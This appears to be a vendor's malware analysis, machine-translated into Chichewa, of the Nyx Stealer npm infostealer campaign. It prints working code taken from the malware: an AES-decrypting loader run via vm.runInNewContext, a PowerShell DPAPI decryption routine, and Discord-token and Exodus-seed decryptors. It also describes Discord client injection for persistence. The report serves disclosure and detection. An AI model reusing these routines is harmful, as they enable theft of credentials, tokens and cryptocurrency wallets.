TL; DR
Gulu Lofufuza za Chitetezo cha Xygeni adapeza kampeni yapamwamba kwambiri ya npm infostealer yoperekedwa kudzera m'maphukusi awiri oyipa: consolelofy ndi selfbot-lofy.
Mtundu waposachedwa (consolelofy@1.3.0) imayika pulogalamu yolipira yolumikizidwa ndi AES ya 216KB yomwe imatsegula ma crypt nthawi yogwira ntchito ndikugwira ntchito kudzera vm.runInNewContext()Popeza njira yolakwika yachinsinsi imasungidwa bwino, ma scanner osasinthika omwe amadalira kuwunika kwa chingwe sangathe kuwona momwe imagwirira ntchito mpaka nthawi yogwirira ntchito.
Akangochotsa mawu obisika, katundu wolipira, wodziwika mkati mwake Woba Nyx, Zolinga:
- Zizindikiro zotsimikizira za Discord
- Masitolo opitilira 50 otsimikizira za msakatuli
- Zowonjezera 90+ za chikwama cha ndalama za digito
- Magawo a Roblox, Instagram, Spotify, Steam, Telegram, ndi TikTok
- Kupitiriza kwa kasitomala wa pakompyuta wa Discord
Mabaibulo onse 20 m'maphukusi onse awiriwa adanenedwa ndipo adatsimikiziridwa kuti ndi oipa.
Chidule chaukadaulo cha npm Infostealer iyi
Mosiyana ndi pulogalamu yaumbanda yachikhalidwe yomwe imachitika nthawi yokhazikitsa, kampeni iyi imadalira pulogalamu yaumbanda nthawi yothamanga chitsanzo chochotsera mawu obisika.
Pali:
- Palibe nkhanza
preinstallorpostinstallhooks - Palibe kuyimba kwa netiweki kodziwikiratu nthawi yokhazikitsa
- Palibe mfundo yosonkhanitsa zitsimikizo zomveka bwino
Kulipira kumayamba kugwira ntchito pamene gawolo lalowetsedwa. Thupi lonse loipa limasungidwa mu encryption ndipo limangopezeka mu kukumbukira nthawi yogwirira ntchito.
Kapangidwe kameneka kamapewa kupezeka makamaka panthawi yoyika phukusi.
Momwe Npm Infostealer Imeneyi Imagwirira Ntchito
Tisanafufuze zomwe Nyx Stealer imaba, tiyenera kumvetsetsa momwe imagwirira ntchito.
Malingaliro oipa mkati mwa npm infostealer iyi amatsatira njira yofanana:
Chojambulira chaching'ono chimachotsa mawu obisika payload yayikulu ndikuyiyika mosinthasintha mkati mwa Node.js VM context.
Kapangidwe aka ndi koyenera. Wowukirayo sakubisa magwiridwe antchito kumbuyo kwa kubisika kokha, koma ndi kuchotsa code yoyipa kuti isawonekere bwino konse.
Chitsanzo Chochita Zinthu Mwapamwamba
Pamlingo wapamwamba, chophimbacho chimachita zinthu zinayi:
- Imatenga kiyi ya AES kuchokera ku mawu achinsinsi okhazikika pogwiritsa ntchito SHA-256
- Imachotsa zilembo zazikulu zolembedwa ndi hex pogwiritsa ntchito AES-256-CBC
- Amagwiritsa ntchito JavaScript yochotsedwa pogwiritsa ntchito
vm.runInNewContext() - Amapereka bokosi la mchenga lomwe limawonetsabe zinthu zamphamvu zoyambira nthawi yothamanga
Chidule cha Njira Yaikulu
| chigawo chimodzi | Kapangidwe / Mtengo |
|---|---|
| Zosintha | AES-256-CBC |
| Kutengera Mfungulo | SHA-256 (mawu achinsinsi) |
| Vekitala Yoyambitsa (IV) | Mabaiti 16 a 0x00 |
| akuphedwa | vm.runInNewContext(yosinthidwa, bokosi la mchenga) |
Mozama kwambiri, bokosi la mchenga limadutsa:
requireprocessBuffer- timers
- kutumiza kwa gawo
Izi zikutanthauza kuti katundu wochotsedwa pakompyuta amakhala ndi mphamvu zonse zoti:
- Njira zoberekera
- Werengani ndi kulemba mafayilo
- Imbani mafoni a pa intaneti
- Sinthani mapulogalamu am'deralo
Iyi si VM yoletsedwa. Ndi VM yomwe imagwiritsidwa ntchito ngati trampoline yochitira zinthu.
Chitsanzo cha Kubisa Nthawi Yogwirira Ntchito (Njira Yogwiritsira Ntchito Pakati)
Chojambuliracho ndi chaching'ono.
Thupi loipa silili.
Pansipa pali njira yogwiritsira ntchito yomwe ikupezeka mkati mwa phukusi:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); }Chifukwa Chake Izi
Katundu wochotsedwa:
- Kodi osati zilipo mu mawu osavuta mkati mwa phukusi la npm
- Sichiwoneka mosavuta
grepkapena kusanthula chingwe chosasunthika - Zimangochitika mu kukumbukira nthawi yogwiritsira ntchito
- Imagwira ntchito ndi mphamvu zonse za Node runtime
Kuphatikiza uku kwa AES + VM ndi chizindikiro champhamvu cha khalidwe npm infostealer akuyesera kupewa kuyang'aniridwa kosasintha.
Mwanjira ina:
Ngati muyang'ana mtengo wa phukusi, simukuwona woba.
Mukuwona chochotsera mawu achinsinsi.
Chimachitika Pambuyo pa Kutsegula Chinsinsi
Akamaliza kugwira ntchito, Nyx Stealer imayambitsa mafunde osonkhanitsira deta ofanana.
Wave 1: Kuchotsa Zitsimikizo za Msakatuli
Pulogalamu yaumbanda:
- Tsitsani nthawi yogwiritsira ntchito Python kuchokera ku NuGet CDN
- Kuyika malaibulale a cryptographic
- Zotulutsa m'masitolo odziwika ndi Chromium
- Amachotsa zinsinsi zotetezedwa ndi DPAPI
M'malo molemba ma bindings enieni, imagwiritsa ntchito PowerShell kuyitana Windows DPAPI mwachindunji.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }Njira iyi:
- Amapewa zinthu zopangidwa ndi anthu
- Imagwiritsa ntchito ma API a crypto a Windows enieni
- Zimagwirizana ndi zida zoyendetsera ntchito
Ndi kuchotsera chizindikiritso cha OS-level, osati kukanda.
Wave 2: Discord Token Decryption
Wobayo amadziwa bwino malamulo. Amamvetsetsa mtundu wa ma token a Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); }Kuyenda kwa ntchito:
- Chotsani kiyi yayikulu kuchokera ku Discord's
Local State - Chotsani kiyi yayikulu kudzera pa DPAPI
- Chotsani ma blob a token a AES-GCM
- Tsimikizirani ma tokeni motsutsana ndi Discord API
- Lonjezerani ndi Nitro, mabaji, zambiri zolipirira
Uku si kutaya ziphaso za anthu onse. Ndi kuwononga nthawi yogwiritsira ntchito njira zodziwira protocol.
Wave 3: Kuyang'anira Chikwama cha Cryptocurrency
Wofalitsa nkhani wa npm infostealer amalemba:
- Zowonjezera 90+ za chikwama cha msakatuli
- Ma wallet a desktop 27
- Njira zozizira za chikwama
- Mafayilo a mbewu ya Exodus
Chitsanzo cha kuyesa kuchotsa ma seed crypt:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); }Ngati zikuyenda bwino, kusagwirizana ndi chikwama cha ndalama kumakhalapo nthawi yomweyo ndipo sikungasinthe.
Izi zikuyimira njira yopezera ndalama yamtengo wapatali kwambiri ya kampeniyi.
Kulimbikira kudzera mu Discord Desktop Injection
Pambuyo posonkhanitsa ziphaso, Nyx Stealer amayesa kupirira mwa kusintha zomwe zili m'deralo. Kusamvana kasitomala.
Zolinga:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.jsKachitidwe Kachitidwe
Woba infostealer amachita izi:
- Imathetsa kuyendetsa njira za Discord
- Imapeza mitundu ya Discord yoyikidwa (Stable, Canary, PTB)
- Amalembanso zinthu zina
discord_desktop_core/index.js - Imalowetsa njira yolumikizirana ndi wowukira
- Yambitsaninso Discord
Izi zimatsimikizira kuti magawo amtsogolo a Discord adzatulutsa zizindikiro zatsopano zotsimikizira zokha.
Chofunika kwambiri, kulimbikira kumeneku sikudalira ntchito zomwe zakonzedwa kapena kusintha kwa kaundula. Kumagwiritsa ntchito kusintha kwa ma code a pulogalamu, njira yobisika.
Ngakhale phukusi loipa la npm litachotsedwa pambuyo pake, kasitomala wa Discord amakhalabe pachiwopsezo.
Kuyerekeza kwaukadaulo: Selfbot Yovomerezeka vs npm Infostealer
| chigawo chimodzi | Laibulale Yovomerezeka | Nyx npm Infostealer |
|---|---|---|
| Kubisa | palibe | Malipiro onse olembedwa ndi AES |
| VM Yogwira Ntchito | Sichiyenera | vm.runInNewContext kuphedwa |
| Credential Access | Discord API yokha | Msakatuli, ma wallet, DPAPI |
| Zotsitsa Zakunja | Ayi | Nthawi yogwiritsira ntchito Python kudzera pa NuGet |
| Kulimbikira | Ayi | Kulowetsedwa kwa kasitomala wa Discord |
| Monetization | Makina odzichitira okha a Bot | Kugulitsanso ziphaso |
Gawo lokhalo lobisa deta limalekanitsa kale kampeni iyi ndi foloko yotseguka.
Boti lovomerezeka la Discord silikhala ndi chifukwa chobisa ma codebase ake onse, kuyambitsa PowerShell kuti ilowe mu DPAPI, kutsitsa nthawi yogwiritsira ntchito yakunja, kapena kusintha ma internals a desktop application. Pamene maluso amenewo akuwonekera mkati mwa kudalira komwe kumati kumayendetsa kulumikizana kwa Discord, kusalingana kwa zomangamanga kumakhala kosatheka kunyalanyaza.
Kuchokera pa kafukufuku, npm infostealer iyi imasiya zizindikiro m'magawo angapo. Komabe, zizindikiro zodalirika kwambiri si ma URL okhazikika kapena njira zinazake za mafayilo, chifukwa zimatha kusintha pakati pa mitundu. M'malo mwake, zizindikiro zokhazikika zimakhala ndi kapangidwe kake.
Pa mulingo wa phukusi, chizindikiro chofiira kwambiri ndi kuphatikiza kwa katundu wamkulu wobisika ndi cholembera chochotsera mawu chomwe chimagwira ntchito nthawi yomweyo kudzera mu vm.runInNewContext()Ngakhale kuti kubisa kokha sikuli koipa, kugwiritsa ntchito AES decryption kutsatiridwa ndi dynamic VM execution mkati mwa Discord utility package ndi chinthu chosazolowereka kwambiri.
Pa mulingo wa host, machitidwe okayikitsa amaphatikizapo ntchito yosayembekezereka ya DPAPI decryption, njira yochokera ku Node.js dependency context, ndi kusintha mafayilo a mapulogalamu am'deralo omwe sayenera kusinthidwa ndi malaibulale a chipani chachitatu. Momwemonso, pa network layer, outbound webhook-style communication yomwe imayambitsidwa ndi dependency development ikuyimira vuto lina lofunika.
Mwa kuyankhula kwina, malo ozindikira si chizindikiro chimodzi chokha cha kusagwirizana. Ndi mgwirizano wa kubisa, kugwiritsa ntchito nthawi yogwiritsira ntchito, mwayi wopeza ziphaso, ndi khalidwe lopitiriza lomwe limavumbula chiopsezocho.
Kuzindikira ndi Kuchepetsa Matenda ndi Xygeni
Wofalitsa nkhani za npm uyu adadziwika ndi Chenjezo Loyambirira la Xygeni's Malware (MEW) kudzera mu mgwirizano wa makhalidwe m'malo mongoyerekeza zizindikiro.
M'malo mofufuza ma string odziwika bwino, MEW imayesa zolakwika za kapangidwe kake pamtengo wonse wa gwero. Pankhaniyi, kuzindikira kunabwera chifukwa cha kulumikizana kwa zizindikiro zingapo: njira yolumikizira ya AES yomwe ili mkati mwa malo olowera a module, kuchitidwa mwachangu mkati mwa VM, komanso kusagwirizana komveka bwino kwa kuthekera ndi cholinga.
Chofunika kwambiri, palibe chizindikiro chilichonse mwa izi chokha chomwe chimatsimikizira cholinga choipa. Komabe, zikawunikidwa pamodzi, zimawonetsa kuyesa kubisa khalidwe la nthawi yogwiritsira ntchito. Njira yophatikizana iyi imachepetsa kwambiri zabwino zabodza pomwe ikupeza ziwopsezo zodalirika kwambiri za unyolo wogulitsa.
Kuphatikiza apo, nkhaniyi ikuwonetsa chifukwa chake kuyang'anira nthawi yokhazikitsa yokha sikukwanira. Malingaliro oipa samakhala m'ma script a moyo wonse. Amayamba kugwira ntchito pokhapokha module ikadzaza ndipo imawonekera ikangochotsedwa mu kukumbukira. Chifukwa chake, chitetezo chogwira ntchito chimafuna kusanthula kodziwa bwino za encryption, kuzindikira mawonekedwe a khalidwe, ndikuwunika kosalekeza kudalira kupitirira zochitika zokhazikitsa.
Kuchotsa zolembetsa ndi njira yothandiza. Kusanthula kogwiritsa ntchito nthawi yogwiritsira ntchito ndi njira yopewera.
Chifukwa Chake Npm Infostealer Iyi Ndi Yofunika
Nyx Stealer ikuyimira kusintha kwa kapangidwe ka pulogalamu yaumbanda yochokera ku npm.
M'mbuyomu, ma phukusi ambiri oipa ankadalira zolemba zowoneka nthawi yoyika kapena ma endpoints odziwika bwino ochotsera ziphaso. Mosiyana ndi zimenezi, kampeniyi imabisa katundu wake, imachedwetsa ntchito yake kuti igwire ntchito, imagwiritsa ntchito ma API ovomerezeka a machitidwe ogwirira ntchito, ndikukhazikitsa kupirira mkati mwa mapulogalamu odalirika.
Chifukwa chake, wowukirayo safunika kugwiritsa ntchito zomangamanga za npm zokha. M'malo mwake, kuukirako kumapambana chifukwa kukhazikitsa kudalira kumatanthauza kudalirana. Opanga mapulogalamu amaganiza kuti kulowetsa laibulale ndi ntchito yotetezeka, makamaka ikaonekera ngati foloko yodalirika ya chida chodziwika bwino.
Pamene zachilengedwe zikupitirira kukula ndipo mafoloko akuchulukirachulukira, malire odalirika amenewo amakhala malo okopa kwambiri owukira. Chifukwa chake, kuteteza ku npm infostealers zamakono kumafuna kuzindikira mapangidwe a zomangamanga m'malo mofufuza zingwe zosasunthika.
Pomaliza, kampeni iyi ikulimbitsa phunziro lofunika kwambiri mu software supply chain security: ziwopsezo zoopsa kwambiri si zomwe zimawoneka zoyipa poyamba, koma zomwe zimawoneka zomveka bwino mpaka nthawi yogwirira ntchito iwulule khalidwe lawo lenileni.
